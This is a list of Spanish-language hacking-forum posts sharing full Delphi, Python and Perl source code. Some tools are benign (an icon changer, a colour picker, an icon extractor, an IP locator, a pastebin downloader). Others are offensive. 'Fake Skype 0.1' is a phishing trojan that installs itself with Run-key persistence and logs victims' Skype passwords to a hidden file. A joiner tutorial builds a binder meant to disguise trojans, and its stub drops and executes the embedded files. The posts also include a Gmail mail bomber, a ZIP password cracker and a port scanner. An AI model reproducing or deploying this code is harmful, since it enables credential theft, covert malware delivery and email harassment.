|
161
|
Programación / Programación General / [Delphi] DH Icon Changer 0.1
|
en: 30 Agosto 2013, 20:31 pm
|
Un simple programa para cambiar el icono de otro programa. Una imagen : El codigo : // DH Icon Changer 0.1 // Coded By Doddy H // Based on IconChanger By Chokstyle // Thanks to Chokstyle unit icon; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls, sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sButton1: TsButton; sGroupBox2: TsGroupBox; sGroupBox3: TsGroupBox; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; sStatusBar1: TsStatusBar; OpenDialog1: TOpenDialog; sGroupBox4: TsGroupBox; Image1: TImage; sButton5: TsButton; OpenDialog2: TOpenDialog; Image2: TImage; sEdit2: TsEdit; procedure sButton1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'falloutstyle'; sSkinManager1.Active := True; OpenDialog1.InitialDir := GetCurrentDir; OpenDialog2.InitialDir := GetCurrentDir; OpenDialog2.Filter := 'ICO|*.ico|'; end; procedure TForm1.sButton1Click(Sender: TObject); begin if OpenDialog1.Execute then begin sEdit1.Text := OpenDialog1.FileName; end; end; procedure TForm1.sButton2Click(Sender: TObject); var op: string; change: dword; valor: string; begin valor := IntToStr(128); op := InputBox('Backup', 'Backup ?', 'Yes'); if op = 'Yes' then begin CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName) + 'backup' + ExtractFileExt(sEdit1.Text)), True); end; try begin change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false); LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar (wideString(sEdit2.Text))); EndUpdateResourceW(change, false); sStatusBar1.Panels[0].Text := '[+] Changed !'; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; procedure TForm1.sButton5Click(Sender: TObject); begin if OpenDialog2.Execute then begin Image1.Picture.LoadFromFile(OpenDialog2.FileName); sEdit2.Text := OpenDialog2.FileName; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 + 'Contact to lepuke[at]hotmail[com]'); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
162
|
Programación / Programación General / [Delphi] Creacion de un Joiner
|
en: 29 Agosto 2013, 01:16 am
|
[Titulo] : Creacion de un Joiner [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Creacion del generador 0x03 : Creacion del stub 0x04 : Probando el Joiner -- =================-------- 0x01 : Introduccion Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM. ¿ Que es un Joiner ? Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus. ¿ Que es un stub ? El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable. 0x02 : Creacion del generador Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen. Una vez creado , creamos dos cajas edit y un boton como en la imagen : Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton. procedure TForm1.Button1Click(Sender: TObject); var archivo1: string; // Declaramos la variable archivo1 como string archivo2: string; // Declaramos la variable archivo2 como string uno: DWORD; // Declaramos la variable uno como dword tam: DWORD; // Declaramos la variable tam como dword dos: DWORD; // Declaramos la variable dos como dword tres: DWORD; // Declaramos la variable tres como dword todo: Pointer; // Declaramos la variable todo como pointer begin uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo tam := GetFileSize(dos, nil); // Capturamos el tamaño GetMem(todo, tam); // Capturamos la memoria ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido CloseHandle(dos); // Cerramos el archivo UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); tam := GetFileSize(dos, nil); // Capturamos el tamaño GetMem(todo, tam); // Capturamos la memoria ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido CloseHandle(dos); // Cerramos el archivo UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso end;
Una imagen del codigo comentado. 0x03 : Creacion del stub Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen : Una vez hecho copiamos el siguiente codigo : program stub; uses Windows, ShellApi; // Cargamos los modulos necesarios function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall; // Empieza la funcion con los parametros var data: DWORD; // Declaramos como DWORD la variable data uno: DWORD; // Declaramos como DWORD la variable uno dos: DWORD; // Declaramos como DWORD la variable dos begin Result := True; // Retornamos true en la funcion data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); // Creamos el archivo WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data), dos, nil); // Escribimos en el archivo creado CloseHandle(uno); // Cerramos ShellExecute(0, 'open', PChar('c:/' + cinco), nil, nil, SW_SHOWNORMAL); // Ejecutamos el archivo end; begin EnumResourceNames(0, RT_RCDATA, @start, 0); // Funcion para cargar los archivos del joiner end.
Una imagen del codigo comentado. 0x04 : Probando el Joiner Para el probar el joiner voy a usar dos archivos : una imagen del perro coraje y un archivo de texto que solo contiene un "hola mundo" Primero cargamos el generador : Pulsamos el boton y cargamos el tub.exe (el ejecutable del proyecto del stub) generado. Eso es todo. El manual esta disponible en PDF aca. --========-- The End ? --========--
|
|
|
163
|
Programación / Programación General / [Delphi] DH GetColor
|
en: 23 Agosto 2013, 18:44 pm
|
Un simple programa para buscar el color de un pixel. Una imagen : El codigo : // DH GetColor 0.1 // Coded By Doddy H // Credits : // Based on : http://stackoverflow.com/questions/15155505/get-pixel-color-under-mouse-cursor-fast-way // Based on : http://www.coldtail.com/wiki/index.php?title=Borland_Delphi_Example_-_Show_pixel_color_under_mouse_cursor unit get; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls, sSkinManager, sGroupBox, sEdit, sLabel, ComCtrls, sStatusBar, acPNG, sMemo, Clipbrd; type TForm1 = class(TForm) Timer1: TTimer; sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; Shape1: TShape; sLabel1: TsLabel; sLabel2: TsLabel; sStatusBar1: TsStatusBar; sGroupBox2: TsGroupBox; Image1: TImage; sLabel3: TsLabel; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); private capturanow: HDC; { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cold'; sSkinManager1.Active := True; sLabel3.Caption := 'This program is used to' + #13 + 'find the color of a pixel' + #13 + #13 + 'Use control + v to copy' + #13 + 'the color to the clipboard' + #13 + #13 + #13 + 'The End ?'; capturanow := GetDC(0); if (capturanow <> 0) then Timer1.Enabled := True; end; procedure TForm1.FormKeyUp(Sender: TObject; var Key: Word; Shift: TShiftState); begin if (Shift = [ssCtrl]) and (Key = 86) then begin Clipboard().AsText := sLabel2.Caption; sStatusBar1.Panels[0].Text := '[+] Color copied to clipboard'; Form1.sStatusBar1.Update; end; end; procedure TForm1.Timer1Timer(Sender: TObject); var aca: TPoint; color: TColor; re: string; begin if GetCursorPos(aca) then begin color := GetPixel(capturanow, aca.x, aca.y); Shape1.Brush.color := color; re := '#' + IntToHex(GetRValue(color), 2) + IntToHex(GetGValue(color), 2) + IntToHex(GetBValue(color), 2); sLabel2.Caption := re; sStatusBar1.Panels[0].Text := '[+] Finding colors ...'; Form1.sStatusBar1.Update; end; end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
164
|
Programación / Scripting / [Python-Android] LocateIP 0.1
|
en: 19 Agosto 2013, 20:19 pm
|
El primer script que hice en python para android. El codigo : # !usr/bin/python # LocateIP 0.1 (C) Doddy Hackman 2013 # Android Version import android,urllib2,re,socket aplicacion = android.Android() nave = urllib2.build_opener() nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')] def toma(web) : nave = urllib2.Request(web) nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5'); op = urllib2.build_opener() return op.open(nave).read() def search(pagina): respuesta = "" ip = socket.gethostbyname(str(pagina)) code = toma("http://www.melissadata.com/lookups/iplocation.asp?ipaddress="+ip) respuesta = respuesta + "[++] IP Address Location\n" if (re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)): rex = re.findall("City<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code) city = rex[0][1] respuesta = respuesta + "\n[++] City : "+city else: respuesta = respuesta + "\n[++] City : Not Found" if (re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)): rex = re.findall("Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code) country = rex[0][1] respuesta = respuesta + "\n[++] Country : "+country else: respuesta = respuesta + "\n[++] Country : Not Found" if (re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code)): rex = re.findall("State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>",code) state = rex[0][1] respuesta = respuesta + "\n[++] State : "+state else: respuesta = respuesta + "\n[++] State : Not Found" code = toma("http://www.ip-adress.com/reverse_ip/"+ip) if (re.findall("whois\/(.*?)\">Whois",code)): rex = re.findall("whois\/(.*?)\">Whois",code) respuesta = respuesta + "\n\n[++] DNS Founds\n" for dns in rex: respuesta = respuesta + "\n[+] "+dns return respuesta def menu(): aplicacion.dialogCreateAlert("LocateIP 0.1") aplicacion.dialogSetItems(["Search","About","Exit"]) aplicacion.dialogShow() re = aplicacion.dialogGetResponse().result re2 = re["item"] if re2==0: red = aplicacion.dialogGetInput("LocateIP 0.1","Target") ref = str(red[1]) aplicacion.dialogCreateSpinnerProgress("LocateIP 0.1","Searching ...") aplicacion.dialogShow() don = search(ref) aplicacion.dialogDismiss() aplicacion.dialogCreateAlert("LocateIP 0.1",don) aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() op = aplicacion.dialogGetResponse().result if op["which"] == "positive" : menu() if re2==1 : aplicacion.dialogCreateAlert("LocateIP 0.1","(C) Doddy Hackman 2013") aplicacion.dialogSetPositiveButtonText("Done") aplicacion.dialogShow() re3 = aplicacion.dialogGetResponse().result if re3["which"] == "positive" : menu() if re3==2: aplicacion.exit() menu() # The End ?
Les dejo unas imagenes de como funciona en mi tablet argos. Eso es todo.
|
|
|
165
|
Programación / Programación General / [Delphi] Fake Skype 0.1
|
en: 16 Agosto 2013, 18:40 pm
|
Un simple Fake de Skype , en la proxima version voy a tratar de darle mas realismo xDD. Una imagen : El codigo : // Fake Skype 0.1 // Coded By Doddy H unit fake; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, StdCtrls, Registry; type TForm1 = class(TForm) Image1: TImage; Edit1: TEdit; Edit2: TEdit; Image2: TImage; procedure Image2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Edit2Click(Sender: TObject); procedure Edit1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Edit1Click(Sender: TObject); begin Edit1.Text := ''; end; procedure TForm1.Edit2Click(Sender: TObject); begin Edit2.Text := ''; end; procedure TForm1.FormCreate(Sender: TObject); var nombrereal: string; rutareal: string; yalisto: string; her: TRegistry; begin nombrereal := ExtractFileName(ParamStr(0)); rutareal := ParamStr(0); yalisto := 'C:\WINDOWS\' + nombrereal; MoveFile(Pchar(rutareal), Pchar(yalisto)); her := TRegistry.Create; her.RootKey := HKEY_LOCAL_MACHINE; her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); her.WriteString('uber', yalisto); her.Free; SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(Pchar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN); end; procedure TForm1.Image2Click(Sender: TObject); var archivo: TextFile; ruta: string; begin if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then begin WinExec('notepad c:/windows/datos.txt', SW_SHOW); end else begin if Edit1.Text = '' then begin ShowMessage( 'Escribe tu Id. de Skype en este formato: tu nombre@ejemplo.com'); end; if Edit2.Text = '' then begin ShowMessage('Escribe tu contraseña'); end else begin if Edit2.Text = 'Escribe aqui tu contraseña' then begin ShowMessage('Escribe tu contraseña'); end else begin ruta := 'c:/windows/datos.txt'; // mod if FileExists(ruta) then begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; Append(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox( 'Se ha producido un error , es necesario reiniciar Skype', 'Skype', MB_OK); Form1.Close; end else begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; ReWrite(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox( 'Se ha producido un error , es necesario reiniciar Skype', 'Skype', MB_OK); Form1.Close; end; end; end; end; end; end. // The End ?
Si quieren bajarlo lo pueden hacer de aca.
|
|
|
166
|
Programación / Programación General / [Delphi] Sex Icons 0.1
|
en: 9 Agosto 2013, 17:59 pm
|
Un simple programa para buscar y extraer iconos. Una imagen : El codigo : // Sex Icons 0.1 // Coded By Doddy H unit sex; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, ComCtrls, StdCtrls, ShellAPI, ImgList; type TForm1 = class(TForm) Image1: TImage; GroupBox1: TGroupBox; Label1: TLabel; Edit1: TEdit; ListView1: TListView; Button1: TButton; GroupBox2: TGroupBox; Button2: TButton; ImageList1: TImageList; GroupBox3: TGroupBox; Image2: TImage; Image3: TImage; SaveDialog1: TSaveDialog; procedure Button1Click(Sender: TObject); procedure ListView1DblClick(Sender: TObject); procedure Button2Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var buscar: TSearchRec; Icon: TIcon; listate: TListItem; getdata: SHFILEINFO; dirnow: string; begin dirnow := Edit1.Text; ListView1.Items.Clear; Icon := TIcon.Create; ListView1.Items.BeginUpdate; if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then begin repeat if (buscar.Attr <> faDirectory) then begin with ListView1 do begin listate := ListView1.Items.Add; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_DISPLAYNAME); listate.Caption := buscar.Name; SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_TYPENAME); listate.SubItems.Add(getdata.szTypeName); SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata, SizeOf(getdata) , SHGFI_ICON or SHGFI_SMALLICON); Icon.Handle := getdata.hIcon; listate.ImageIndex := ImageList1.AddIcon(Icon); DestroyIcon(getdata.hIcon); end; end until FindNext(buscar) <> 0; FindClose(buscar); end; ListView1.Items.EndUpdate; end; procedure TForm1.Button2Click(Sender: TObject); begin if SaveDialog1.Execute then begin Image2.Picture.Icon.SaveToFile(SaveDialog1.FileName); ShowMessage('Icon Extracted'); end; end; procedure TForm1.FormCreate(Sender: TObject); begin SaveDialog1.Title := 'Save your Icon'; SaveDialog1.InitialDir := GetCurrentDir; SaveDialog1.DefaultExt := 'ico'; end; procedure TForm1.ListView1DblClick(Sender: TObject); var acanow: TIcon; archivo: string; bajar: TSHFileInfo; begin archivo := Edit1.Text + ListView1.Selected.Caption; if FileExists(archivo) then begin acanow := TIcon.Create; SHGetFileInfo(PChar(archivo), 0, bajar, SizeOf(bajar), SHGFI_ICON); acanow.Handle := bajar.hIcon; Image2.Picture.Icon := acanow; acanow.Free; end; end; end. // The End ?
Si quieren bajarlo lo pueden hacer de aca
|
|
|
167
|
Programación / Programación General / [Delphi] DH Port Scanner 0.2
|
en: 2 Agosto 2013, 23:50 pm
|
Un simple Port Scanner en Delphi. Una imagen : El codigo : // DH Port Scanner 0.2 // Coded By Doddy H unit port; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sGroupBox, sButton, IdTCPClient, sMemo, jpeg, ExtCtrls, ComCtrls, sStatusBar, sEdit, sLabel, IdBaseComponent, IdComponent, IdTCPConnection; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sGroupBox3: TsGroupBox; sButton1: TsButton; sMemo1: TsMemo; Image1: TImage; sStatusBar1: TsStatusBar; sLabel1: TsLabel; sEdit1: TsEdit; sLabel2: TsLabel; sEdit2: TsEdit; sLabel3: TsLabel; sEdit3: TsEdit; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; IdTCPClient1: TIdTCPClient; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); var i: Integer; begin sMemo1.Clear; For i := StrToInt(sEdit2.Text) to StrToInt(sEdit3.Text) do begin try begin sStatusBar1.Panels[0].Text := '[+] Scanning : ' + IntToStr(i); Form1.sStatusBar1.Update; IdTCPClient1.Host := sEdit1.Text; IdTCPClient1.port := i; IdTCPClient1.ConnectTimeout := 1; IdTCPClient1.Connect; sMemo1.Lines.Add('Port Open : ' + IntToStr(i)); IdTCPClient1.Disconnect; end; except begin // end; end; end; sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; end; procedure TForm1.sButton2Click(Sender: TObject); begin Abort; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
168
|
Programación / Programación General / [Delphi] DH Bomber 0.3
|
en: 26 Julio 2013, 21:19 pm
|
Un simple mail bomber hecho en Delphi con musica incluida , para usarlo necesitan una cuenta en Gmail. Una imagen : El codigo : // DH Bomber 0.3 // Coded By Doddy H // Credits : // Based on : http://www.lastaddress.net/2013/05/sending-email-with-attachments-using.html unit dh; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sGroupBox, jpeg, ExtCtrls, sEdit, sLabel, sMemo, ComCtrls, sStatusBar, sButton, MPlayer, Menus, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; Image1: TImage; sLabel1: TsLabel; sEdit1: TsEdit; sLabel2: TsLabel; sEdit2: TsEdit; sGroupBox2: TsGroupBox; sLabel4: TsLabel; sEdit4: TsEdit; sLabel5: TsLabel; sEdit5: TsEdit; sLabel6: TsLabel; sEdit6: TsEdit; sGroupBox3: TsGroupBox; sMemo1: TsMemo; sButton1: TsButton; sStatusBar1: TsStatusBar; PopupMenu1: TPopupMenu; MediaPlayer1: TMediaPlayer; N2: TMenuItem; S2: TMenuItem; procedure FormCreate(Sender: TObject); procedure N2Click(Sender: TObject); procedure S2Click(Sender: TObject); procedure MediaPlayer1Notify(Sender: TObject); procedure sButton1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; var themenow: Boolean; { Global Variable } implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'deep'; sSkinManager1.Active := True; MediaPlayer1.FileName := 'data/theme.mp3'; MediaPlayer1.Open; themenow := True; MediaPlayer1.Play; MediaPlayer1.Notify := True; end; procedure TForm1.MediaPlayer1Notify(Sender: TObject); begin if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then begin MediaPlayer1.Play; MediaPlayer1.Notify := True; end; end; procedure TForm1.N2Click(Sender: TObject); begin themenow := True; MediaPlayer1.Play; MediaPlayer1.Notify := True; end; procedure TForm1.S2Click(Sender: TObject); begin themenow := false; MediaPlayer1.Stop; MediaPlayer1.Notify := True; end; procedure enviate_esta(username, password, toto, subject, body: string); var data: TIdMessage; mensaje: TIdSMTP; begin mensaje := TIdSMTP.Create(nil); data := TIdMessage.Create(nil); data.From.Address := username; data.Recipients.EMailAddresses := toto; data.subject := subject; data.body.Text := body; mensaje.Host := 'smtp.gmail.com'; mensaje.Port := 587; mensaje.username := username; mensaje.password := password; mensaje.Connect; mensaje.Send(data); mensaje.Disconnect; mensaje.Free; data.Free; end; procedure TForm1.sButton1Click(Sender: TObject); var i: integer; count: integer; idasunto: string; begin count := StrToInt(sEdit5.Text); For i := 1 to count do begin if count > 1 then begin idasunto := '_' + IntToStr(i); end; try begin sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr (i) + ' ...'; Form1.sStatusBar1.Update; enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text, sEdit6.Text + idasunto, sMemo1.Text); end; except begin sStatusBar1.Panels[0].Text := '[-] Error Sending Message Number ' + IntToStr(i) + ' ...'; Form1.sStatusBar1.Update; end; end; sStatusBar1.Panels[0].Text := '[+] Finished'; Form1.sStatusBar1.Update; end; end; end. // The End ?
Si quieren bajar el programa lo pueden hacer de aca.
|
|
|
169
|
Programación / Scripting / [Perl] PasteBin Downloader 0.1
|
en: 20 Julio 2013, 23:58 pm
|
Un simple script en Perl para bajar codigos de pastebin. Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos. El codigo : #!usr/bin/perl #PasteBin Downloader 0.1 #Coded By Doddy H use LWP::UserAgent; use URI ::Split qw(uri_split ); use HTML::LinkExtor; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(10); my $se = "downloads_pastebin"; unless ( -d $se ) { } print "\n-- == PasteBin Downloader 0.1 == --\n"; unless ( $ARGV[0] and $ARGV[1] ) { print "\n[+] Sintax : $0 < -single / -page > <url>\n"; } else { print "\n[+] Searching ...\n"; if ( $ARGV[0] eq "-single" ) { download_this( $ARGV[1] ); } if ( $ARGV[0] eq "-page" ) { download_all( $ARGV[1] ); } } print "\n(C) Doddy Hackman 2013\n"; sub download_all { my $code = toma($page); my @links_all = repes( get_links($code) ); for my $page_down (@links_all) { download_this($page_down); } } sub download_this { my $titulo = ""; my $num = ""; print "\n[+] Checking : $page\n"; my $code = toma($page); if ( $page =~ /http:\/\/(.*)\/(.*)/ ) { $num = $2; if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) { $titulo = $1; print "[+] Downloading : http://pastebin.com/download.php?i=$num\n"; if ( download( "http://pastebin.com/download.php?i=$num", $titulo . ".txt" ) ) { print "[+] File Downloaded !\n"; } else { } } } } sub download { if ( $nave->mirror( $_[0], $_[1] ) ) { if ( -f $_[1] ) { } } } sub repes { my @limpio; foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub toma { return $nave->get( $_[0] )->content; } sub get_links { $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] ); sub agarrar { my ( $a, %b ) = @_; } } #The End ?
|
|
|
170
|
Programación / Scripting / [Python] ZIP Crack 0.1
|
en: 20 Julio 2013, 23:03 pm
|
Un simple script en Python para crackear archivos ZIP. El codigo #!usr/bin/python #ZIP Crack 0.1 #Coded By Doddy H import sys,zipfile def head(): print "\n-- == ZIP Crack 0.1 == --\n" def copyright(): print "\n(C) Doddy Hackman 2013\n" def sintax(): print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>" head() if len(sys.argv) != 3 : sintax() else: try: passwords = open(sys.argv[2], "r").readlines() except : print "\n[-] Error opening file\n" op = 0 print "\n[+] Cracking ...\n" for password in passwords: password = password.replace("\r","").replace("\n","") if op==1: copyright() sys.exit(0) try: test = zipfile.ZipFile(sys.argv[1]) test.extractall(pwd=password) print "[+] Zip Cracked : "+sys.argv[1] print "[+] Password : "+password op = 1 except: pass print "[-] Password Not Found" copyright() #The End ?
|
|
|
|
|
|
|